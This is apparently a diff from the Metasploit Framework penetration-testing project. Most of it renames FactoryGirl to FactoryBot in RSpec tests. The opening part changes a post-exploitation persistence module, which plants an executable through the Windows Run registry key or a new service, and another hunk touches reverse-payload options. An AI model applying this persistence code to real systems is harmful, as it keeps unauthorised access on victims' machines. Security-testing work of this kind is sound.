print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
@clean_up_rc << "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{nam}'\n"
else else
print_error("Error: failed to open the registry key for writing") print_error("Error: failed to open the registry key for writing")
end end
@ -138,9 +141,21 @@ class MetasploitModule < Msf::Post
def install_as_service(script_on_target) def install_as_service(script_on_target)
if is_system? || is_admin? if is_system? || is_admin?
print_status("Installing as service..") print_status("Installing as service..")
nam = Rex::Text.rand_text_alpha(rand(8) + 8) nam = datastore['StartupName'] || Rex::Text.rand_text_alpha(rand(8) + 8)
description = datastore['ServiceDescription'] || Rex::Text.rand_text_alpha(8)
print_status("Creating service #{nam}") print_status("Creating service #{nam}")
service_create(nam, :path=>"cmd /c \"#{script_on_target}\"")
key = service_create(nam, :path=>"cmd /c \"#{script_on_target}\"",:display=>description)
# check if service had been created
if key != 0
print_error("Service #{nam} creating failed.")
return
end
# if service is stopped, then start it.
service_start(nam) if service_status(nam)[:state] == 1
@clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n"
else else
print_error("Insufficient privileges to create service") print_error("Insufficient privileges to create service")
@ -150,15 +165,34 @@ class MetasploitModule < Msf::Post
# Function for writing executable to target host # Function for writing executable to target host
#------------------------------------------------------------------------------- #-------------------------------------------------------------------------------
def write_exe_to_target(rexe, rexename) def write_exe_to_target(rexe, rexename)
tempdir = session.fs.file.expand_path("%TEMP%") # check if we have write permission
temprexe = tempdir + "\\" + rexename # I made it by myself because the function filestat.writable? was not implemented yet.
if not datastore['LocalExePath'].nil?
begin
temprexe = datastore['LocalExePath'] + "\\" + rexename
write_file_to_target(temprexe,rexe)
rescue Rex::Post::Meterpreter::RequestError
print_warning("Insufficient privileges to write in #{datastore['LocalExePath']}, writing to %TEMP%")
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
write_file_to_target(temprexe,rexe)
end
# Write to %temp% directory if not set LocalExePath
else
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
write_file_to_target(temprexe,rexe)
end
print_good("Persistent Script written to #{temprexe}")
@clean_up_rc << "rm #{temprexe.gsub("\\", "\\\\\\\\")}\n"
temprexe
end
def write_file_to_target(temprexe,rexe)
fd = session.fs.file.new(temprexe, "wb") fd = session.fs.file.new(temprexe, "wb")
fd.write(rexe) fd.write(rexe)
fd.close fd.close
print_good("Persistent Script written to #{temprexe}")
@clean_up_rc << "rm #{temprexe}\n"
temprexe
end end
# Function to create executable from a file # Function to create executable from a file

View File

@ -135,6 +135,7 @@ def parse_args(args)
end end
opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| opt.on('-b', '--bad-chars <list>', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b|
require 'rex/text'
opts[:badchars] = Rex::Text.hex_to_raw(b) opts[:badchars] = Rex::Text.hex_to_raw(b)
end end
@ -188,7 +189,7 @@ def parse_args(args)
datastore[k.upcase] = v.to_s datastore[k.upcase] = v.to_s
end end
if opts[:payload].to_s =~ /[\_\/]reverse/ and datastore['LHOST'].nil? if opts[:payload].to_s =~ /[\_\/]reverse/ and datastore['LHOST'].nil?
init_framework require 'rex/socket'
datastore['LHOST'] = Rex::Socket.source_address datastore['LHOST'] = Rex::Socket.source_address
end end
end end

View File

@ -1,4 +1,4 @@
FactoryGirl.define do FactoryBot.define do
factory :exported_web_vuln, :parent => :mdm_web_vuln do factory :exported_web_vuln, :parent => :mdm_web_vuln do
blame { generate :mdm_web_vuln_blame } blame { generate :mdm_web_vuln_blame }
description { generate :mdm_web_vuln_description } description { generate :mdm_web_vuln_description }

View File

@ -1,4 +1,4 @@
FactoryGirl.modify do FactoryBot.modify do
factory :mdm_module_detail do factory :mdm_module_detail do
transient do transient do
root { root {

View File

@ -9,9 +9,9 @@ RSpec.describe Metasploit::Framework::JtR::Wordlist do
let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' } let(:expansion_word) { 'Foo bar_baz-bat.bam\\foo//bar' }
let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) } let(:common_root_path) { File.expand_path('fake_common_roots.txt',FILE_FIXTURES_PATH) }
let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) } let(:default_wordlist_path) { File.expand_path('fake_default_wordlist.txt',FILE_FIXTURES_PATH) }
let(:password) { FactoryGirl.create(:metasploit_credential_password) } let(:password) { FactoryBot.create(:metasploit_credential_password) }
let(:public) { FactoryGirl.create(:metasploit_credential_public) } let(:public) { FactoryBot.create(:metasploit_credential_public) }
let(:realm) { FactoryGirl.create(:metasploit_credential_realm) } let(:realm) { FactoryBot.create(:metasploit_credential_realm) }
let(:mutate_me) { 'password' } let(:mutate_me) { 'password' }
let(:mutants) { [ let(:mutants) { [
"pa55word", "pa55word",

View File

@ -32,21 +32,21 @@ RSpec.describe Msf::Auxiliary::Cisco do
subject(:aux_cisco) { DummyClass.new } subject(:aux_cisco) { DummyClass.new }
let!(:workspace) { FactoryGirl.create(:mdm_workspace) } let!(:workspace) { FactoryBot.create(:mdm_workspace) }
context '#create_credential_and_login' do context '#create_credential_and_login' do
let(:session) { FactoryGirl.create(:mdm_session) } let(:session) { FactoryBot.create(:mdm_session) }
let(:task) { FactoryGirl.create(:mdm_task, workspace: workspace)} let(:task) { FactoryBot.create(:mdm_task, workspace: workspace)}
let(:user) { FactoryGirl.create(:mdm_user)} let(:user) { FactoryBot.create(:mdm_user)}
subject(:test_object) { DummyClass.new } subject(:test_object) { DummyClass.new }
let(:workspace) { FactoryGirl.create(:mdm_workspace) } let(:workspace) { FactoryBot.create(:mdm_workspace) }
let(:service) { FactoryGirl.create(:mdm_service, host: FactoryGirl.create(:mdm_host, workspace: workspace)) } let(:service) { FactoryBot.create(:mdm_service, host: FactoryBot.create(:mdm_host, workspace: workspace)) }
let(:task) { FactoryGirl.create(:mdm_task, workspace: workspace) } let(:task) { FactoryBot.create(:mdm_task, workspace: workspace) }
let(:login_data) { let(:login_data) {
{ {

View File

@ -50,7 +50,7 @@ RSpec.describe Msf::Exploit::AutoTarget do
describe '#auto_target?' do describe '#auto_target?' do
it 'should return true if the automatic target is selected' do it 'should return true if the automatic target is selected' do
host_addr = '192.168.1.5' host_addr = '192.168.1.5'
host_obj = FactoryGirl.create(:mdm_host, address: host_addr ) host_obj = FactoryBot.create(:mdm_host, address: host_addr )
windows_exploit.datastore['TARGET'] = 0 windows_exploit.datastore['TARGET'] = 0
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
windows_exploit.datastore['RHOST'] = host_addr windows_exploit.datastore['RHOST'] = host_addr
@ -71,7 +71,7 @@ RSpec.describe Msf::Exploit::AutoTarget do
context 'finding the target host' do context 'finding the target host' do
it 'should return a matching Mdm::host if there is one' do it 'should return a matching Mdm::host if there is one' do
host_addr = '192.168.1.5' host_addr = '192.168.1.5'
host_obj = FactoryGirl.create(:mdm_host, address: host_addr ) host_obj = FactoryBot.create(:mdm_host, address: host_addr )
windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name windows_exploit.datastore['WORKSPACE'] = host_obj.workspace.name
windows_exploit.datastore['RHOST'] = host_addr windows_exploit.datastore['RHOST'] = host_addr
expect(windows_exploit.auto_target_host).to eq host_obj expect(windows_exploit.auto_target_host).to eq host_obj
@ -84,12 +84,12 @@ RSpec.describe Msf::Exploit::AutoTarget do
end end
context 'filtering targets' do context 'filtering targets' do
let(:windows_xp_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) } let(:windows_xp_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP' ) }
let(:windows_xp_sp1_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) } let(:windows_xp_sp1_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP1' ) }
let(:windows_xp_sp2_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) } let(:windows_xp_sp2_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP2' ) }
let(:windows_xp_sp3_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) } let(:windows_xp_sp3_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows XP', os_sp: 'SP3' ) }
let(:windows_7_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) } let(:windows_7_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: 'Windows', os_name: 'Windows 7' ) }
let(:unknown_host) { FactoryGirl.create(:mdm_host, address: '192.168.172.150', os_family: nil ) } let(:unknown_host) { FactoryBot.create(:mdm_host, address: '192.168.172.150', os_family: nil ) }
let(:potential_targets) { windows_exploit.filter_by_os_family(windows_xp_host) } let(:potential_targets) { windows_exploit.filter_by_os_family(windows_xp_host) }
let(:xp_targets) { windows_exploit.filter_by_os_name(potential_targets,windows_xp_host) } let(:xp_targets) { windows_exploit.filter_by_os_name(potential_targets,windows_xp_host) }
@ -182,4 +182,4 @@ RSpec.describe Msf::Exploit::AutoTarget do
end end

View File

@ -6,7 +6,7 @@ RSpec.describe Msf::ModuleSet do
} }
let(:module_type) { let(:module_type) {
FactoryGirl.generate :mdm_module_detail_mtype FactoryBot.generate :mdm_module_detail_mtype
} }
context '#rank_modules' do context '#rank_modules' do
@ -207,4 +207,4 @@ RSpec.describe Msf::ModuleSet do
end end
end end
end end
end end

View File

@ -14,7 +14,7 @@ RSpec.describe Msf::DBManager::Export do
end end
let(:workspace) do let(:workspace) do
FactoryGirl.create( FactoryBot.create(
:mdm_workspace :mdm_workspace
) )
end end
@ -42,7 +42,7 @@ RSpec.describe Msf::DBManager::Export do
end end
let!(:module_details) do let!(:module_details) do
FactoryGirl.create_list( FactoryBot.create_list(
:mdm_module_detail, :mdm_module_detail,
module_detail_count module_detail_count
) )

View File

@ -30,30 +30,30 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
let(:nonblank_username) { 'nonblank_user' } let(:nonblank_username) { 'nonblank_user' }
let(:nonblank_password) { 'nonblank_pass' } let(:nonblank_password) { 'nonblank_pass' }
let!(:origin) { FactoryGirl.create(:metasploit_credential_origin_import) } let!(:origin) { FactoryBot.create(:metasploit_credential_origin_import) }
let!(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } let!(:priv) { FactoryBot.create(:metasploit_credential_password, data: password) }
let!(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } let!(:pub) { FactoryBot.create(:metasploit_credential_username, username: username) }
let!(:blank_pub) { blank_pub = FactoryGirl.create(:metasploit_credential_blank_username) } let!(:blank_pub) { blank_pub = FactoryBot.create(:metasploit_credential_blank_username) }
let!(:nonblank_priv) { FactoryGirl.create(:metasploit_credential_password, data: nonblank_password) } let!(:nonblank_priv) { FactoryBot.create(:metasploit_credential_password, data: nonblank_password) }
let!(:nonblank_pub) { FactoryGirl.create(:metasploit_credential_username, username: nonblank_username) } let!(:nonblank_pub) { FactoryBot.create(:metasploit_credential_username, username: nonblank_username) }
let!(:blank_priv) { FactoryGirl.create(:metasploit_credential_password, data: blank_password) } let!(:blank_priv) { FactoryBot.create(:metasploit_credential_password, data: blank_password) }
before(:example) do before(:example) do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: origin, origin: origin,
private: priv, private: priv,
public: pub, public: pub,
realm: nil, realm: nil,
workspace: framework.db.workspace) workspace: framework.db.workspace)
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: origin, origin: origin,
private: nonblank_priv, private: nonblank_priv,
public: blank_pub, public: blank_pub,
realm: nil, realm: nil,
workspace: framework.db.workspace) workspace: framework.db.workspace)
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: origin, origin: origin,
private: blank_priv, private: blank_priv,
public: nonblank_pub, public: nonblank_pub,
@ -167,12 +167,12 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' } let(:ntlm_hash) { '1443d06412d8c0e6e72c57ef50f76a05:27c433245e4763d074d30a05aae0af2c' }
let!(:pub) do let!(:pub) do
FactoryGirl.create(:metasploit_credential_username, username: username) FactoryBot.create(:metasploit_credential_username, username: username)
end end
let!(:password_core) do let!(:password_core) do
priv = FactoryGirl.create(:metasploit_credential_password, data: password) priv = FactoryBot.create(:metasploit_credential_password, data: password)
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: pub, public: pub,
realm: nil, realm: nil,
@ -182,18 +182,18 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
# # Somehow this is hitting a unique constraint on Cores with the same # # Somehow this is hitting a unique constraint on Cores with the same
# # Public, even though it has a different Private. Skip for now # # Public, even though it has a different Private. Skip for now
# let!(:ntlm_core) do # let!(:ntlm_core) do
# priv = FactoryGirl.create(:metasploit_credential_ntlm_hash, data: ntlm_hash) # priv = FactoryBot.create(:metasploit_credential_ntlm_hash, data: ntlm_hash)
# FactoryGirl.create(:metasploit_credential_core, # FactoryBot.create(:metasploit_credential_core,
# origin: FactoryGirl.create(:metasploit_credential_origin_import), # origin: FactoryBot.create(:metasploit_credential_origin_import),
# private: priv, # private: priv,
# public: pub, # public: pub,
# realm: nil, # realm: nil,
# workspace: framework.db.workspace) # workspace: framework.db.workspace)
# end # end
# let!(:nonreplayable_core) do # let!(:nonreplayable_core) do
# priv = FactoryGirl.create(:metasploit_credential_nonreplayable_hash, data: 'asdf') # priv = FactoryBot.create(:metasploit_credential_nonreplayable_hash, data: 'asdf')
# FactoryGirl.create(:metasploit_credential_core, # FactoryBot.create(:metasploit_credential_core,
# origin: FactoryGirl.create(:metasploit_credential_origin_import), # origin: FactoryBot.create(:metasploit_credential_origin_import),
# private: priv, # private: priv,
# public: pub, # public: pub,
# realm: nil, # realm: nil,
@ -241,9 +241,9 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
end end
end end
describe 'Adding' do describe 'Adding' do
let(:pub) { FactoryGirl.create(:metasploit_credential_username, username: username) } let(:pub) { FactoryBot.create(:metasploit_credential_username, username: username) }
let(:priv) { FactoryGirl.create(:metasploit_credential_password, data: password) } let(:priv) { FactoryBot.create(:metasploit_credential_password, data: password) }
let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: realm_type, value: realm) } let(:r) { FactoryBot.create(:metasploit_credential_realm, key: realm_type, value: realm) }
context 'Cores with public privates and realms' do context 'Cores with public privates and realms' do
context 'username password and realm' do context 'username password and realm' do
it 'creates a core if one does not exist' do it 'creates a core if one does not exist' do
@ -252,8 +252,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: pub, public: pub,
realm: r, realm: r,
@ -270,8 +270,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: nil, private: nil,
public: pub, public: pub,
realm: r, realm: r,
@ -289,8 +289,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: pub, public: pub,
realm: nil, realm: nil,
@ -308,8 +308,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: nil, public: nil,
realm: r, realm: r,
@ -327,8 +327,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: nil, private: nil,
public: pub, public: pub,
realm: nil, realm: nil,
@ -346,8 +346,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: nil, public: nil,
realm: nil, realm: nil,
@ -358,15 +358,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
end end
end end
context 'ntlm' do context 'ntlm' do
let(:priv) { FactoryGirl.create(:metasploit_credential_ntlm_hash) } let(:priv) { FactoryBot.create(:metasploit_credential_ntlm_hash) }
it 'creates a core if one does not exist' do it 'creates a core if one does not exist' do
expect { expect {
creds.cmd_creds('add', "ntlm:#{priv.data}") creds.cmd_creds('add', "ntlm:#{priv.data}")
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: nil, public: nil,
realm: nil, realm: nil,
@ -377,15 +377,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
end end
end end
context 'hash' do context 'hash' do
let(:priv) { FactoryGirl.create(:metasploit_credential_nonreplayable_hash) } let(:priv) { FactoryBot.create(:metasploit_credential_nonreplayable_hash) }
it 'creates a core if one does not exist' do it 'creates a core if one does not exist' do
expect { expect {
creds.cmd_creds('add', "hash:#{priv.data}") creds.cmd_creds('add', "hash:#{priv.data}")
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: nil, public: nil,
realm: nil, realm: nil,
@ -396,7 +396,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
end end
end end
context 'ssh-key' do context 'ssh-key' do
let(:priv) { FactoryGirl.create(:metasploit_credential_ssh_key) } let(:priv) { FactoryBot.create(:metasploit_credential_ssh_key) }
before(:each) do before(:each) do
@file = Tempfile.new('id_rsa') @file = Tempfile.new('id_rsa')
@file.write(priv.data) @file.write(priv.data)
@ -408,8 +408,8 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: priv, private: priv,
public: pub, public: pub,
realm: nil, realm: nil,
@ -423,15 +423,15 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Creds do
context 'realm-types' do context 'realm-types' do
Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name| Metasploit::Model::Realm::Key::SHORT_NAMES.each do |short_name, long_name|
context "#{short_name}" do context "#{short_name}" do
let(:r) { FactoryGirl.create(:metasploit_credential_realm, key: long_name) } let(:r) { FactoryBot.create(:metasploit_credential_realm, key: long_name) }
it 'creates a core if one does not exist' do it 'creates a core if one does not exist' do
expect { expect {
creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}") creds.cmd_creds('add', "realm:#{r.value}", "realm-type:#{short_name}")
}.to change { Metasploit::Credential::Core.count }.by 1 }.to change { Metasploit::Credential::Core.count }.by 1
end end
it 'does not create a core if it already exists' do it 'does not create a core if it already exists' do
FactoryGirl.create(:metasploit_credential_core, FactoryBot.create(:metasploit_credential_core,
origin: FactoryGirl.create(:metasploit_credential_origin_import), origin: FactoryBot.create(:metasploit_credential_origin_import),
private: nil, private: nil,
public: nil, public: nil,
realm: r, realm: r,

View File

@ -215,10 +215,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
end end
describe "-p" do describe "-p" do
before(:example) do before(:example) do
host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") host = FactoryBot.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
FactoryGirl.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp') FactoryBot.create(:mdm_service, :host => host, :port => 1024, name: 'Service1', proto: 'udp')
FactoryGirl.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp') FactoryBot.create(:mdm_service, :host => host, :port => 1025, name: 'Service2', proto: 'tcp')
FactoryGirl.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp') FactoryBot.create(:mdm_service, :host => host, :port => 1026, name: 'Service3', proto: 'udp')
end end
it "should list services that are on a given port" do it "should list services that are on a given port" do
db.cmd_services "-S", "1024|1025" db.cmd_services "-S", "1024|1025"
@ -235,10 +235,10 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
end end
describe "-np" do describe "-np" do
before(:example) do before(:example) do
host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") host = FactoryBot.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1")
FactoryGirl.create(:mdm_service, :host => host, :port => 1024) FactoryBot.create(:mdm_service, :host => host, :port => 1024)
FactoryGirl.create(:mdm_service, :host => host, :port => 1025) FactoryBot.create(:mdm_service, :host => host, :port => 1025)
FactoryGirl.create(:mdm_service, :host => host, :port => 1026) FactoryBot.create(:mdm_service, :host => host, :port => 1026)
end end
it "should list services that are not on a given port" do it "should list services that are not on a given port" do
skip { skip {

View File

@ -5,7 +5,7 @@ RSpec.shared_examples_for 'Metasploit::Credential::Core::ToCredential' do
context ".to_credential" do context ".to_credential" do
subject(:crednetial_core) do subject(:crednetial_core) do
FactoryGirl.create(:metasploit_credential_core) FactoryBot.create(:metasploit_credential_core)
end end
it { is_expected.to respond_to :to_credential } it { is_expected.to respond_to :to_credential }

View File

@ -11,15 +11,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
let(:run) do let(:run) do
match match
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) FactoryBot.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
end end
let(:match_set) do let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) FactoryBot.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
end end
let(:match) do let(:match) do
FactoryGirl.create(:automatic_exploitation_match, FactoryBot.create(:automatic_exploitation_match,
match_set_id: match_set.id, match_set_id: match_set.id,
matchable_id:vuln_with_match.id, matchable_id:vuln_with_match.id,
matchable_type: "Mdm::Vuln" matchable_type: "Mdm::Vuln"
@ -27,19 +27,19 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
end end
let(:vuln_with_match) do let(:vuln_with_match) do
FactoryGirl.create(:mdm_vuln) FactoryBot.create(:mdm_vuln)
end end
let(:host) do let(:host) do
FactoryGirl.create(:mdm_host, workspace:workspace) FactoryBot.create(:mdm_host, workspace:workspace)
end end
let(:workspace) do let(:workspace) do
FactoryGirl.create(:mdm_workspace) FactoryBot.create(:mdm_workspace)
end end
let(:refs) do let(:refs) do
[ FactoryGirl.create(:mdm_ref) ] [ FactoryBot.create(:mdm_ref) ]
end end
context "with a run" do context "with a run" do
@ -137,7 +137,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
context "without a run" do context "without a run" do
let(:vuln) do let(:vuln) do
FactoryGirl.create(:mdm_vuln) FactoryBot.create(:mdm_vuln)
end end
let(:opts) do let(:opts) do
@ -226,20 +226,20 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
end end
let(:session_id) do let(:session_id) do
FactoryGirl.create(:session, host: host).id FactoryBot.create(:session, host: host).id
end end
let(:run) do let(:run) do
match match
FactoryGirl.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id) FactoryBot.create(:automatic_exploitation_run, user: workspace.owner,workspace:workspace, match_set_id: match_set.id)
end end
let(:match_set) do let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace) FactoryBot.create(:automatic_exploitation_match_set, user: workspace.owner,workspace:workspace)
end end
let(:match) do let(:match) do
FactoryGirl.create(:automatic_exploitation_match, FactoryBot.create(:automatic_exploitation_match,
match_set_id: match_set.id, match_set_id: match_set.id,
matchable_id:vuln_with_match.id, matchable_id:vuln_with_match.id,
matchable_type: "Mdm::Vuln" matchable_type: "Mdm::Vuln"
@ -247,19 +247,19 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
end end
let(:vuln_with_match) do let(:vuln_with_match) do
FactoryGirl.create(:mdm_vuln) FactoryBot.create(:mdm_vuln)
end end
let(:host) do let(:host) do
FactoryGirl.create(:mdm_host, workspace:workspace) FactoryBot.create(:mdm_host, workspace:workspace)
end end
let(:workspace) do let(:workspace) do
FactoryGirl.create(:mdm_workspace) FactoryBot.create(:mdm_workspace)
end end
let(:refs) do let(:refs) do
[ FactoryGirl.create(:mdm_ref) ] [ FactoryBot.create(:mdm_ref) ]
end end
context "with a run" do context "with a run" do
@ -357,7 +357,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ExploitAttempt' do
context "without a run" do context "without a run" do
let(:vuln) do let(:vuln) do
FactoryGirl.create(:mdm_vuln) FactoryBot.create(:mdm_vuln)
end end
let(:opts) do let(:opts) do

View File

@ -35,7 +35,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
end end
let(:host_attributes) do let(:host_attributes) do
FactoryGirl.attributes_for(:mdm_host) FactoryBot.attributes_for(:mdm_host)
end end
let(:msf_web_text_element_names) do let(:msf_web_text_element_names) do
@ -65,15 +65,15 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
end end
let(:service_attributes) do let(:service_attributes) do
FactoryGirl.attributes_for(:web_service) FactoryBot.attributes_for(:web_service)
end end
let(:web_form_attributes) do let(:web_form_attributes) do
FactoryGirl.attributes_for(:mdm_web_form, :exported) FactoryBot.attributes_for(:mdm_web_form, :exported)
end end
let(:web_page_attributes) do let(:web_page_attributes) do
FactoryGirl.attributes_for(:mdm_web_page) FactoryBot.attributes_for(:mdm_web_page)
end end
let(:workspace) do let(:workspace) do
@ -304,7 +304,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
end end
let(:web_vuln) do let(:web_vuln) do
FactoryGirl.create(:mdm_web_vuln) FactoryBot.create(:mdm_web_vuln)
end end
before(:example) do before(:example) do
@ -345,7 +345,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
context 'without :workspace' do context 'without :workspace' do
let(:workspace) do let(:workspace) do
FactoryGirl.create(:mdm_workspace) FactoryBot.create(:mdm_workspace)
end end
before(:example) do before(:example) do
